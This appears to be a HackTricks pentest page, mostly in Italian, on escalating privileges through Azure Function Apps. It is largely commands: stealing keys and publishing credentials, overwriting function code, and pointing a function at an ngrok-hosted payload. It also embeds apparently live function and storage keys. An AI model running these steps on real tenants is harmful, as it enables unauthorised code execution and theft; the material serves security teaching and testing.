Az - Functions App Privesc

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Function Apps

Consulta la pagina seguente per maggiori informazioni:

Az - Function Apps

Bucket Read/Write

Con i permessi per leggere i container all’interno dello Storage Account che memorizza i dati della function, è possibile trovare diversi container (personalizzati o con nomi predefiniti) che potrebbero contenere il codice eseguito dalla function.

Una volta individuata la posizione del codice della function, se si hanno permessi di scrittura su di esso è possibile far eseguire qualsiasi codice alla function e escalation dei privilegi verso le managed identities associate alla function.

  • File Share (WEBSITE_CONTENTAZUREFILECONNECTIONSTRING and WEBSITE_CONTENTSHARE)

Il codice della function è solitamente memorizzato in un file share. Con accesso sufficiente è possibile modificare il file di codice e forzare la function a caricare codice arbitrario, consentendo di escalare i privilegi alle managed identities associate alla Function.

Questo metodo di deployment solitamente configura le impostazioni WEBSITE_CONTENTAZUREFILECONNECTIONSTRING e WEBSITE_CONTENTSHARE, che puoi ottenere da

az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>

Quelle configurazioni conterranno la Storage Account Key che la Function può usare per accedere al codice.

Caution

Con permessi sufficienti per connettersi al File Share e modify the script in esecuzione, è possibile eseguire codice arbitrario nella Function e scalare i privilegi.

L’esempio seguente usa macOS per connettersi al file share, ma è consigliato consultare anche la seguente pagina per maggiori informazioni sui file share:

Az - File Shares

# Username is the name of the storage account
# Password is the Storage Account Key

# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py

open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
  • function-releases (WEBSITE_RUN_FROM_PACKAGE)

È anche comune trovare le zip releases nella cartella function-releases del Storage Account container che la function app sta usando, in un container di solito chiamato function-releases.

Di solito questo metodo di deployment imposterà la configurazione WEBSITE_RUN_FROM_PACKAGE in:

az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>

Questa configurazione di solito conterrà una SAS URL per scaricare il codice dal Storage Account.

Caution

Con permessi sufficienti per connettersi al blob container che contiene il codice in formato zip è possibile eseguire codice arbitrario nella Function e scalare i privilegi.

  • github-actions-deploy (WEBSITE_RUN_FROM_PACKAGE)

Proprio come nel caso precedente, se il deployment è eseguito tramite Github Actions è possibile trovare la cartella github-actions-deploy nello Storage Account contenente uno zip del codice e una SAS URL allo zip nell’impostazione WEBSITE_RUN_FROM_PACKAGE.

  • scm-releases(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING and WEBSITE_CONTENTSHARE)

Con i permessi per leggere i container all’interno dello Storage Account che memorizza i dati della Function è possibile trovare il container scm-releases. Lì è possibile trovare l’ultima release in Squashfs filesystem file format e quindi è possibile leggere il codice della Function:

# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table

# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table

# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip

## Even if it looks like the file is a .zip, it's a Squashfs filesystem

# Install
brew install squashfs

# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"

# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip

It’s also possible to find the master and functions keys stored in the storage account in the container azure-webjobs-secrets inside the folder <app-name> in the JSON files you can find inside.

Caution

Con permessi sufficienti per connettersi al blob container che contiene il codice in un file di estensione zip (che in realtà è un squashfs) è possibile eseguire codice arbitrario nella Function e elevare i privilegi.

# Modify code inside the script in /tmp/fs adding your code

# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip  -b 131072 -noappend

# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite

Microsoft.Web/sites/host/listkeys/action

Questa autorizzazione consente di elencare le chiavi function, master e system, ma non la chiave host, della funzione specificata con:

az functionapp keys list --resource-group <res_group> --name <func-name>

Con la master key è anche possibile ottenere il codice sorgente in un URL come:

# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"

# Access
curl "<script-href>?code=<master-key>"
# Python function app example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v

E per modificare il codice che viene eseguito nella funzione con:

# Set the code to set in the function in /tmp/function_app.py
## Python function app example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v

# NodeJS function app example
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
--data-binary @/tmp/index.js \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v

Microsoft.Web/sites/functions/listKeys/action

Questa autorizzazione permette di ottenere la chiave predefinita della funzione specificata con:

az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"

Invoca la funzione usando la chiave predefinita ottenuta:

curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"

Microsoft.Web/sites/host/functionKeys/write

Questa autorizzazione consente di creare/aggiornare una chiave della funzione specificata con:

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Microsoft.Web/sites/host/masterKey/write

Questa autorizzazione permette di creare/aggiornare una master key per la funzione specificata con:

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Caution

Ricorda che con questa chiave puoi anche accedere al codice sorgente e modificarlo come spiegato prima!

Microsoft.Web/sites/host/systemKeys/write

Questa autorizzazione consente di creare/aggiornare una chiave di funzione di sistema per la funzione specificata con:

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Usa la chiave:

# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"

# Ejemplo: Acceso a Event Grid webhooks
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"

Microsoft.Web/sites/config/list/action

Questa autorizzazione consente di ottenere le impostazioni di una function. All’interno di queste configurazioni potrebbe essere possibile trovare i valori predefiniti AzureWebJobsStorage o WEBSITE_CONTENTAZUREFILECONNECTIONSTRING, che contengono una chiave dell’account per accedere allo blob storage della function con permessi FULL.

az functionapp config appsettings list --name <func-name> --resource-group <res-group>

Inoltre, questo permesso consente anche di recuperare le SCM username and password (se abilitate) con:

az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"

Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write

Questi permessi consentono di elencare i valori di configurazione di una funzione come abbiamo visto prima, oltre a modificare questi valori. Questo è utile perché queste impostazioni indicano dove si trova il codice da eseguire all’interno della funzione.

È quindi possibile impostare il valore dell’impostazione WEBSITE_RUN_FROM_PACKAGE puntando a un URL che contiene un file zip con il nuovo codice da eseguire all’interno di un’applicazione web:

  • Start by getting the current config
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
  • Crea il codice che vuoi che la funzione esegua e ospitalo pubblicamente
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server

# Serve it using ngrok for example
ngrok http 8000
  • Modifica la funzione, mantieni i parametri precedenti e aggiungi alla fine la config WEBSITE_RUN_FROM_PACKAGE che punti all’URL con lo zip contenente il codice.

La seguente è un esempio delle mie impostazioni personali — dovrai sostituire i valori con i tuoi, nota alla fine il valore "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip", è lì che ospitavo l’app.

# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'

Microsoft.Web/sites/hostruntime/vfs/write

Con questo permesso è possibile modificare il codice di un’applicazione tramite la web console (o tramite il seguente API endpoint):

# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body

# Through the SCM URL (using Azure permissions or SCM creds)
az rest --method PUT \
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
--resource "https://management.azure.com/" \
--headers "If-Match=*" \
--body 'module.exports = async function (context, req) {
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");

const name = (req.query.name || (req.body && req.body.name));
const responseMessage = name
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";

context.res = {
// status: 200, /* Defaults to 200 */
body: responseMessage
};
}'

Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)

Questi permessi consentono di elencare tutti i publishing profiles che contengono fondamentalmente basic auth credentials:

# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json

Un’altra opzione è impostare i tuoi creds e usarli con:

az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
  • Se REDACTED credentials

Se vedi che quelle credentials sono REDACTED, è perché devi abilitare l’opzione di autenticazione di base SCM e per questo ti serve il secondo permesso (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):

# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
  • Method SCM

Quindi puoi accedere con queste basic auth credentials to the SCM URL della tua function app e ottenere i valori delle env variables:

# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v

# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy

Nota che il SCM username è solitamente il carattere “$” seguito dal nome dell’app, quindi: $<app-name>.

Puoi anche accedere alla pagina web da https://<app-name>.scm.azurewebsites.net/BasicAuth

I valori delle impostazioni contengono l’AccountKey dello storage account che memorizza i dati della function app, consentendo di controllare tale storage account.

  • Metodo FTP

Connettiti al server FTP usando:

# macOS install lftp
brew install lftp

# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/

# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it

Nota che il FTP username è solitamente nel formato <app-name>\$<app-name>.

Microsoft.Web/sites/hostruntime/vfs/read

Questa autorizzazione consente di leggere il codice sorgente dell’app tramite la VFS:

az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"

Microsoft.Web/sites/functions/token/action

Con questo permesso è possibile get the admin token che può poi essere usato per recuperare la master key e quindi accedere e modificare il codice della function.

Tuttavia, nei miei ultimi controlli non è stato restituito alcun token, quindi potrebbe essere disabilitato o non funzionare più, ma ecco come procederesti:

# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"

# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"

Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)

Questi permessi permettono di abilitare le functions che potrebbero essere disabilitate (o di disabilitarle).

# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"

È anche possibile verificare se una funzione è abilitata o disabilitata nell’URL seguente (usando il permesso indicato tra parentesi):

az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"

Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)

Con queste autorizzazioni è possibile modificare il container eseguito da un function app configurato per eseguire un container. Questo permetterebbe a un attacker di caricare su docker hub (per esempio) un malicious azure function container app e far sì che la function lo esegua.

az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"

Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)

Con queste autorizzazioni è possibile assegnare una nuova user managed identity a una Function. Se la Function fosse compromessa, questo permetterebbe l’escalation dei privilegi verso qualsiasi user managed identity.

az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>

Debug remoto

È anche possibile connettersi per eseguire il debug di una Azure Function in esecuzione, come spiegato nella documentazione. Tuttavia, per impostazione predefinita Azure disattiva questa opzione dopo 2 giorni nel caso lo sviluppatore si dimentichi, per evitare di lasciare configurazioni vulnerabili.

È possibile verificare se una Function ha il debugging abilitato con:

az functionapp show --name <app-name> --resource-group <res-group>

Avendo il permesso Microsoft.Web/sites/config/write, è anche possibile mettere una funzione in modalità di debug (il seguente comando richiede anche i permessi Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/Read e Microsoft.Web/sites/Read).

az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>

Cambiare Github repo

Ho provato a cambiare il repo Github da cui avviene il deploy eseguendo i comandi seguenti ma anche se è cambiato, il nuovo codice non è stato caricato (probabilmente perché si aspetta che la Github Action aggiorni il codice).
Inoltre, la managed identity federated credential wasn’t updated che avrebbe permesso il nuovo repository, quindi sembra che questo non sia molto utile.

# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1

# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks